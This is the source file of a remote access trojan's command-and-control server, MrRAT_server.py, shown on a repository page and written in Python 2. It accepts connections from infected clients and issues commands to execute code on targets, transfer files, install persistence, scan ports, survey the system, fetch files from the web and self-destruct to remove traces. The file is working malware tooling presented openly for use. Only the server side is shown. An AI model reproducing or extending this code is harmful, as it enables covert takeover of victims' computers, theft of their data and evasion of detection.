-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathMrRAT_server.py
executable file
·236 lines (191 loc) · 6.97 KB
/
MrRAT_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# MrRAT server
# https://github.com/user696/MrRAT
#
import argparse
import readline
import socket
import sys
import threading
import time
from core import common
from core import crypto
# ascii banner (Crawford2) - http://patorjk.com/software/taag/
# ascii rat art credit - http://www.ascii-art.de/ascii/pqr/rat.txt
BANNER = '''
/$$ /$$ /$$$$$$$ /$$$$$$ /$$$$$$$$
| $$$ /$$$ | $$__ $$ /$$__ $$|__ $$__/
| $$$$ /$$$$ /$$$$$$ | $$ \ $$| $$ \ $$ | $$
| $$ $$/$$ $$ /$$__ $$| $$$$$$$/| $$$$$$$$ | $$
| $$ $$$| $$| $$ \__/| $$__ $$| $$__ $$ | $$
| $$\ $ | $$| $$ | $$ \ $$| $$ | $$ | $$
| $$ \/ | $$| $$ | $$ | $$| $$ | $$ | $$
|__/ |__/|__/ |__/ |__/|__/ |__/ |__/
, .
(\,;,/)
(o o)\//,
\ / \,
`+'( ( \ )
// \ |_./
'~' '~----'
https://github.com/user696/MrRAT
'''
HELP_TEXT = '''
client <id> - Connect to a client.
clients - List connected clients.
download <file> - Download a file.
execute <command> - Execute a command on the target.
help - Show this help menu.
kill - Kill the client connection.
persistence - Apply persistence mechanism.
quit - Exit the server and end all client connections.
scan <ip> - Scan top 25 ports on a single host.
selfdestruct - Remove all traces of the RAT from the target system.
survey - Run a system survey.
unzip <file> - Unzip a file.
upload <file> - Upload a file.
wget <url> - Download a file from the web.'''
COMMANDS = [ 'client', 'clients', 'download', 'execute', 'help', 'kill',
'persistence', 'quit', 'scan', 'selfdestruct', 'survey',
'unzip', 'upload', 'wget' ]
class Server(threading.Thread):
clients = {}
alive = True
client_count = 1
def __init__(self, port):
super(Server, self).__init__()
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.s.bind(('0.0.0.0', port))
self.s.listen(5)
def run(self):
while True:
conn, addr = self.s.accept()
client_id = self.client_count
client = ClientConnection(conn, addr, uid=client_id)
self.clients[client_id] = client
self.client_count += 1
def select_client(self, client_id):
try:
return self.clients[int(client_id)]
except (KeyError, ValueError):
return None
# Order is not retained. maybe use SortedDict? its a work in progress.
def get_clients(self):
return [v for k,v in self.clients.iteritems() if v.alive]
def remove_client(self, key):
return self.clients.pop(key, None)
class ClientConnection(common.Client):
alive = True
def send(self, prompt):
if not self.alive:
print 'Error: Client not connected.'
return
# seperate prompt into command and action
cmd, _, action = prompt.partition(' ')
# selfdestruct rat
if cmd == 'selfdestruct':
if raw_input('Remove all traces of MrRAT from the target ' \
'system (y/N)? ').startswith('y'):
print 'Running selfdestruct...'
self.sendGCM(prompt)
self.conn.close()
return
# send prompt to client
self.sendGCM(prompt)
self.conn.settimeout(1)
# kill client connection
if cmd == 'kill':
self.conn.close()
# download a file
elif cmd == 'download':
self.recvfile(action.rstrip())
# send file
elif cmd == 'upload':
self.sendfile(action.rstrip())
# regenerate DH key
# elif cmd == 'rekey':
# self.dh_key = crypto.diffiehellman(self.conn)
# results of execute, persistence, scan, survey, unzip, or wget
elif cmd in ['execute', 'persistence', 'scan', 'survey', 'unzip', 'wget']:
print 'Running {}...'.format(cmd)
recv_data = self.recvGCM().rstrip()
print recv_data
def get_parser():
parser = argparse.ArgumentParser(description='MrRAT server')
parser.add_argument('-p', '--port', help='Port to listen on.',
default=1337, type=int)
return parser
def main():
parser = get_parser()
args = vars(parser.parse_args())
port = args['port']
client = None
# print banner all sexy like
for line in BANNER.split('\n'):
time.sleep(0.05)
print line
# start server
server = Server(port)
server.setDaemon(True)
server.start()
print 'MrRAT server listening for connections on port {}.'.format(port)
while True:
try:
promptstr = '\n[{}] MrRAT> '.format(client.uid)
except AttributeError:
promptstr = '\n[{}] MrRAT> '.format('?')
prompt = raw_input(promptstr).rstrip()
# allow noop
if not prompt:
continue
# seperate prompt into command and action
cmd, _, action = prompt.partition(' ')
# ensure command is valid before sending
if cmd not in COMMANDS:
print 'Invalid command, type "help" to see a list of commands.'
continue
# display help text
if cmd == 'help':
print HELP_TEXT
# stop the server
elif cmd == 'quit':
if raw_input('Exit the server and end all client connections ' \
'(y/N)? ').startswith('y'):
# gracefull kill all clients here
sys.exit(0)
# select client
elif cmd == 'client':
new_client = server.select_client(action)
if new_client:
client = new_client
print 'Client {} selected.'.format(client.uid)
else:
print 'Error: Invalid Client ID'
# list clients
elif cmd == 'clients':
print 'ID - Client Address'
for k in server.get_clients():
print '{:>2} - {}'.format(k.uid, k.addr[0])
# continue loop for above commands
if cmd in ['client', 'clients', 'help', 'quit']:
continue
# require client id
if not client:
print 'Error: Invalid client ID.'
continue
# send prompt to client connection handler
try:
client.send(prompt)
except (socket.error, ValueError) as e:
print e
print 'Client {} disconnected.'.format(client.uid)
cmd = 'kill'
# reset client id if client killed
if cmd in ['kill', 'selfdestruct']:
server.remove_client(client.uid)
client = None
if __name__ == '__main__':
main()